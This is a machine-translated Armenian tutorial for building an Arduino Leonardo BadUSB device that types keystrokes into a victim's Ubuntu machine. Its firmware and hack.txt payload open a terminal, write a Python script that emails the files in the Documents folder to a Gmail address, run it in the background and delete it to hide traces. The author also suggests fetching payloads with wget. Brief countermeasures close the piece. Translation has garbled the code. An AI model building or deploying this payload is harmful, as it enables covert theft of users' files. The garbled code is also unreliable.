
Բովանդակություն:
2025 Հեղինակ: John Day | [email protected]. Վերջին փոփոխված: 2025-01-23 14:48



Այս նախագծում մենք կօգտագործենք arduino leonardo ՝ հնարավոր USB հարձակումը մոդելավորելու համար ՝ օգտագործելով HID (մարդկային ինտերֆեյսի սարք):
Ես ստեղծել եմ այս ձեռնարկը ոչ թե հակերներին օգնելու համար, այլ ձեզ ցույց տալու իրական վտանգներ և ինչպես պաշտպանել ձեր անձը այդ վտանգներից: Այս սարքը դա սարք չէ, որը կարող է օգտագործվել հակերների համար ցանկացած հարթակում, դա ավելի մանրամասն հասկացության ապացույց է:
Մենք սովորելու ենք հետևյալը
- ինչպես օգտագործել arduino leonardo ստեղնաշարը ընդօրինակելու համար
- ինչպես կարդալ տվյալները SD քարտերից
- ինչպես ստեղծել պիթոնի սցենար, որը սկանավորում է ֆայլերը և ուղարկում դրանք էլ
- ինչպես պաշտպանվել ինքներդ ձեզ USB կոտրիչ սարքերից
Քայլ 1: Նյութեր
Մասեր:
1. Արդուինո Լեոնարդո
2. միկրո USB քարտի ընթերցող
3. մի քանի ԳԲ SD քարտ
4. այսպիսի կոճակ (VCC, Ground և ազդանշան)
5. իգական-արական և իգական-էգ ցատկող մալուխներ
6. միկրո USB USB մալուխ
Քայլ 2: Սարքի կառուցում

Նախքան շենքի հրահանգը եկեք վերանայենք աշխատանքի սկզբունքը
Arduino leonardo- ն կարող է իրեն պահել որպես մարդու միջերեսի սարք (HID) և, հետևաբար, կարող է ընդօրինակել մկնիկը և ստեղնաշարը: Մենք կօգտագործենք այս հնարավորությունը տերմինալ բացելու համար (UBUNTU linux- ում) և գրելու փոքր սցենար, որը մուտք կգործի User Document թղթապանակի ներսում գտնվող փաստաթղթեր: պատճենեք.txt ֆայլերն այնտեղ և ուղարկեք դրանք ինչ -որ մեկին: Եթե ցանկանում եք ավելի շատ մանրամասներ իմանալ, ստուգեք հաջորդ քայլը:
Քանի որ դա ցուցադրական սարք է, ամեն ինչ իսկապես պարզ է, մենք ոչինչ չենք կպցնելու:
Շինարարության հրահանգներ
Նախքան սկսելը ստուգեք կցված ֆայլերը, ես կցել եմ ցնցող սխեմաներ և բոլոր անհրաժեշտ ֆայլերը
1. Հավաքեք բաղադրիչները
* միացրեք միկրո USB մալուխը arduino- ին
* միացրեք բանալին arduino- ին (հիմք, vcc և ելքային մոդուլ D8- ին)
* միացրեք քարտի ընթերցողը arduino- ին (օգտագործելով ICSP վերնագիրը): Arduino leonardo- ն չունի ICSP վերնագիր, որը միացված է թվային կապում, այնպես որ ձեզ հարկավոր է քարտի ընթերցողը միացնել ICSP- ի վերնագրին: ICSP- ի որոշ գծանկարներ կարող եք գտնել այստեղ ՝ https://learn.sparkfun.com/tutorials/installing-an…: Միացրեք SS կապը թվային կապին 10
2. ստացեք arduino կոդը, կարող եք իմ arduino պահեստը կլոնավորել github- ում ՝ https://github.com/danionescu0/arduino և գնալ նախագծեր/keyboard_exploit կամ ստանալ այն ներքևից.
#ներառել "Keyboard.h"
#ներառել "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Քուն::"; String commandStartingPoint = "Հրաման::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = Բարձր; void setup () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); եթե (! SD.begin (chipSelect)) {Serial.println («Քարտը ձախողվեց, կամ ներկա չէ»); վերադարձ; }} void loop () {int buttonState = digitalRead (buttonPin); եթե ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println («Վերբեռնված է»); ուշացում (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); եթե (! dataFile) {Serial.println ("Նշված ֆայլի անունը SD քարտում չկա, ստուգեք filenameOnCard!"); } Լարային գիծ; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (տող); sendToKeyboard (տող); } dataFile.close (); } void sendToKeyboard (Լարային տող) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (տող); վերադարձ; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Text:"); Serial.println (line); Keyboard.println (տող); pressEnter (); վերադարձ; } Serial.println ("Հրաման."); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); Լարային հրաման = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (command! = "") {Serial.print ("Command found:"); Serial.println (command); Keyboard.press (getCommandCode (հրաման)); ուշացում (delayBetweenCommands); }} Keyboard.releaseAll (); ուշացում (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (Լարային տող) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print («Sleeping for:»); Serial.println (sleepAmount); ուշացում (sleepAmount); } char getCommandCode (Լարային տեքստ) {char textCharacters [2]; text.toCharArray (տեքստային կերպարներ, 2); char կոդը = textCharacters [0]; ծածկագիր = (տեքստ == "KEY_LEFT_CTRL"): KEY_LEFT_CTRL: կոդ; ծածկագիր = (տեքստ == "KEY_LEFT_SHIFT"): KEY_LEFT_SHIFT: ծածկագիր; ծածկագիր = (տեքստ == "KEY_LEFT_ALT"): KEY_LEFT_ALT: ծածկագիր; ծածկագիր = (տեքստ == "KEY_UP_ARROW"): KEY_UP_ARROW: կոդ; ծածկագիր = (տեքստ == "KEY_DOWN_ARROW"): KEY_DOWN_ARROW: ծածկագիր; ծածկագիր = (տեքստ == "KEY_LEFT_ARROW"): KEY_LEFT_ARROW: ծածկագիր; ծածկագիր = (տեքստ == "KEY_RIGHT_ARROW"): KEY_RIGHT_ARROW: կոդ; ծածկագիր = (տեքստ == "KEY_RIGHT_GUI"): KEY_RIGHT_GUI: ծածկագիր; ծածկագիր = (տեքստ == "KEY_BACKSPACE"): KEY_BACKSPACE: կոդ; ծածկագիր = (տեքստ == "KEY_TAB"): KEY_TAB: կոդ; ծածկագիր = (տեքստ == "KEY_RETURN"): KEY_RETURN: ծածկագիր; ծածկագիր = (տեքստ == "KEY_ESC"): KEY_ESC ՝ ծածկագիր; ծածկագիր = (տեքստ == "KEY_INSERT"): KEY_INSERT: կոդ; ծածկագիր = (տեքստ == "KEY_DELETE"): KEY_DELETE: կոդ; ծածկագիր = (տեքստ == "KEY_PAGE_UP"): KEY_PAGE_UP: ծածկագիր; ծածկագիր = (տեքստ == "KEY_PAGE_DOWN"): KEY_PAGE_DOWN: ծածկագիր; ծածկագիր = (տեքստ == "KEY_HOME"): KEY_HOME: կոդ; ծածկագիր = (տեքստ == "KEY_END"): KEY_END: կոդ; ծածկագիր = (տեքստ == "KEY_CAPS_LOCK"): KEY_CAPS_LOCK: կոդ; ծածկագիր = (տեքստ == "KEY_F1"): KEY_F1: կոդ; ծածկագիր = (տեքստ == "KEY_F2"): KEY_F2: կոդ; ծածկագիր = (տեքստ == "KEY_F3"): KEY_F3: կոդ; ծածկագիր = (տեքստ == "KEY_F4"): KEY_F4: կոդ; ծածկագիր = (տեքստ == "KEY_F5"): KEY_F5: կոդ; ծածկագիր = (տեքստ == "KEY_F6"): KEY_F6: կոդ; ծածկագիր = (տեքստ == "KEY_F7"): KEY_F7: կոդ; ծածկագիր = (տեքստ == "KEY_F8"): KEY_F8: կոդ; ծածկագիր = (տեքստ == "KEY_F9"): KEY_F9: կոդ; ծածկագիր = (տեքստ == "KEY_F10"): KEY_F10: կոդ; ծածկագիր = (տեքստ == "KEY_F11"): KEY_F1: կոդ; ծածկագիր = (տեքստ == "KEY_F12"): KEY_F2: կոդ;
վերադարձի ծածկագիր;
}
3. Վերբեռնեք կոդը arduino- ում, համոզվեք, որ ընտրեք 9600 baud rate, սերիական նավահանգիստ և arduino leonardo
4. Ձևաչափեք sd քարտը ՝ օգտագործելով FAT16 կամ FAT32
5. Եթե վերևից եք կլոնավորել github- ի ռեպոն, պատճենեք hack.txt ֆայլը քարտի վրա, եթե ոչ, ֆայլը նշված է ստորև
Հրաման:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT ներմուծել smtplib ներմուծման գլոբուս, os.path- ից ՝ էլ. Փոստից ներմուծել: MIMEText ներմուծում MIMEText էլփոստից: Մինչև ներմուծում COMMASPACE, ձևաչափ ՝ էլ. Փոստի ներմուծման կոդավորիչներից
smtp_user = 'ուղարկող_գmail_հասցե'
smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Փաստաթղթեր'
subject = body = 'Ֆայլեր կոտրված համակարգչից'
header = 'Դեպի ՝ {0} n From: {1} n Subject: {2} n'.format (to_address, smtp_user, subject)
def sendMail (հասցեին, թեմային, տեքստին, ֆայլերին = ):
msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = subject msg.attach (MIMEText (տեքստ)) ֆայլերի ֆայլերի համար. Մաս = MIMEBase («ծրագիր», «octet-stream») part.set_payload (բաց (ֆայլ, «rb»): կարդալ ()) Encoders.encode_base64 (մաս) մաս: add_header ('Content-Disposition', 'attachment; filename = " % s"' % os.path.basename (ֆայլ)) msg.attach (մաս)
սերվեր = smtplib. SMTP ('smtp.gmail.com:587')
server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()
sendMail ([հասցեին], թեմա, մարմին, glob.glob ("{0}/{1}/*. txt".format (expanduser ("~"), scan_documents_location)))
Քուն:: 50 հրաման:: KEY_ESC Քուն:: 100: x Քուն:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4
6. Խմբագրել հետևյալ տողերը
smtp_user = 'ուղարկող_փոստ_հասցե'
smtp_pass = 'ուղարկողի_բառ' to_address = 'receiver_address'
Եվ փոխարինեք ձեր էլփոստի հասցեներով
7. Հեռացրեք քարտը և տեղադրեք այն arduino քարտի ընթերցողի մեջ
Քայլ 3: Ինչպես է այն աշխատում մանրամասների մեջ
Ինչպես կաշխատի հարձակումը
1. Երբ կոճակը սեղմված է, լեոնարդոն կկարդա sd քարտը `օգտագործելով SD քարտի ընթերցող: Քարտի վրա կլինի բանալիներ և բանալիների համադրություն պարունակող հատուկ ֆայլ: Ֆայլի անունն է «hack.txt»:
Ֆայլը կարող է պարունակել հում տեքստ, և այն կփոխանցվի ստեղնաշարին այնպես, ինչպես կա:
Նաև այն կարող է պարունակել հատուկ հրամաններ, ինչպիսիք են «Քնել::» և «Հրաման::»:
Նման տող.
Երազ:: 200 նշանակում է 200 մգ քուն
Նման տող.
Հրաման:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t նշանակում է ձախ ctrl սեղմված, ձախ alt սեղմված, t սեղմված և բոլորը թողարկված
Բոլոր հատուկ բանալիները կարող եք ստուգել այստեղ ՝
2. Լեոնարդոն կարդալու է տող առ տող, և մեկնաբանելու է հրամանները և ընդօրինակելու է ստեղնաշարի ստեղները: «Hack.txt» ֆայլը պարունակում է ստեղների համադրություն, որը կատարում է հետևյալը (UBUNTU linux- ի համար).
ա բացում է տերմինալ (CTRL + ALT + T)
բ. բացում է python ֆայլ vi- ի միջոցով ստեղծելու համար (գրում է «vi hack.py»
գ. ներսում գրում է պիթոնի սցենար, որը հավաքում է փաստաթղթերի տնային թղթապանակի բոլոր տեքստային ֆայլերը և դրանք ուղարկում որոշակի gmail հասցեով
դ. գործարկում է ֆայլը հետին պլանում ("nohup python hack.py &")
ե. ջնջում է ֆայլը (rm -rf hack.py)
զ փակում է տերմինալը (ALT + F4)
Այս ամբողջը անցնում է մի քանի վայրկյանում և հետքեր չի թողնում:
Բարելավումներ և անսարքությունների վերացում
* Դուք կարող եք նկատել, որ տերմինալ բացելուց հետո ես գրում եմ պիթոնի ֆայլը: դրան հասնելու ավելի լավ միջոց կլինի այն ինչ -որ տեղ հյուրընկալելը և ներբեռնելը `օգտագործելով« wget some_url »հրամանը, այնուհետև այն վերանվանել hack.py
* Նաև մենք կարող ենք ներբեռնել կամ գործարկել պատրաստի շահագործում նպատակային օպերացիոն համակարգի համար
* wifi- ն կարող է ավելացվել մոդուլին, իսկ հաքերը կարող են վերբեռնվել WIFI- ի միջոցով
* կարող եք օգտագործել arduino micro (որը շատ ավելի փոքր է) և դրա վրա տեղադրել շահագործման կոդ (այն փոքրացնելու համար)
Սահմանափակումներ
1. Քանի որ մոդելավորված սարքը (ստեղնաշար և մկնիկ) հետադարձ կապ չունի, մենք չգիտենք, թե ինչ կլինի հրաման արձակելուց հետո, ինչը նշանակում է, որ մենք պետք է օգտագործենք ուշացումներ: Օրինակ, ես տերմինալ բացելու հրաման եմ տալիս, բայց չգիտեմ, թե երբ է այն իրականում բաց, ուստի պետք է կամայական հետաձգում նշեմ, որպեսզի հետագայում մուտքագրված նիշերը չկորչեն:
2. Մենք կարող ենք բախվել թույլտվության խնդիրների, ինչպիսիք են USB պորտին մուտք չունենալը կամ ինչ -որ բան տեղադրելու թույլտվությունը
3. Լեոնարդոյի վրա մեքենագրման արագությունը այնքան էլ մեծ չէ
4. Աշխատելու է միայն նպատակային օպերացիոն համակարգի վրա (մեր դեպքում UBUNTU linux)
Հաջորդ քայլում կփորձենք գտնել այս սահմանափակումները շահագործելու եղանակներ `կանխելու մեր համակարգչի կոտրումը
Քայլ 4: Հակաքայլեր
1. USB պորտերի անջատում
-պատուհանների համար կարող եք ստուգել այս ձեռնարկը ՝
2. Սպիտակ ցուցակի USB սարքեր.
- պատուհանների համար ՝
2. Կողպեք ձեր համակարգիչը, երբ բացակայում եք
3. Մի մուտք գործեք որպես արմատ (գաղտնաբառեր պահանջեք որևէ բան տեղադրելու համար)
4. Տեղեկացրեք ինքներդ ձեզ (ավտոմատ թարմացումները միացված են)
Խորհուրդ ենք տալիս:
Arduino- ի և Python- ի սերիական հաղորդակցություն. Ստեղնաշարի ցուցադրում `4 քայլ

Arduino- ի և Python- ի սերիական հաղորդակցություն. Ստեղնաշարի ցուցադրում. Այս նախագիծը նախատեսված է mac օգտագործողների համար, բայց այն կարող է իրականացվել նաև Linux- ի և Windows- ի համար, միակ քայլը, որը պետք է տարբերվի, տեղադրումն է:
Երկակի 7 հատվածից բաղկացած ցուցադրում, որը վերահսկվում է շրջանագծի պոտենցիոմետրով Python - Տեսողության համառության ցուցադրում. 9 քայլ (նկարներով)

Երկակի 7 հատվածից բաղկացած ցուցադրումներ, որոնք վերահսկվում են շրջանագծի պոտենցիոմետրով: Python-Տեսողության համառության դրսևորում. Այս նախագիծը օգտագործում է պոտենցիոմետր `7 սեգմենտանոց LED էկրանների (F5161AH) ցուցադրումը վերահսկելու համար: Պոտենցիոմետրի բռնիչը պտտելիս ցուցադրվող թիվը փոխվում է 0 -ից 99 -ի սահմաններում: momentանկացած պահի վառվում է միայն մեկ LED, շատ կարճ, բայց
Հեծանիվ էներգիայի ցուցադրում (շահագործման հրահանգներ) ՝ 4 քայլ

Հեծանիվների էներգիայի ցուցադրում (շահագործման հրահանգներ). Այս հրահանգը հեծանիվների էներգիայի ցուցադրման գործառնական հրահանգն է: Կառուցվածքի հղումը ներառված է ստորև ՝ https: //www.instructables.com/id/Bicycle-Energy-Demo-Build
Ստեղնաշարի ինտերֆեյս 8051 -ով և Ստեղնաշարի համարների ցուցադրում 7 հատվածում. 4 քայլ (նկարներով)

Ստեղնաշարի ինտերֆեյս 8051 -ով և 7 հատվածով ստեղնաշարի թվերի ցուցադրում. Այս ձեռնարկում ես ձեզ կասեմ, թե ինչպես կարող ենք ստեղնաշարը միացնել 8051 -ին և ստեղնաշարի համարները ցուցադրել 7 հատվածի էկրանով:
Կյանքի չափի շահագործման խաղ. 14 քայլ (նկարներով)

Կյանքի չափի շահագործման խաղ. Մանկության տարիներին ես սիրում էի Միլթոն Բրեդլիի գործողության խաղը, բզզոցը միշտ վախեցնում էր ինձ, երբ այն անջատվում էր, բայց դա զվարճալի էր: Գործողության խաղի նպատակն է հեռացնել մարմնի մի հատված ՝ պինցետը դիպչելով օբյեկտին շրջապատող մետաղական կողմերին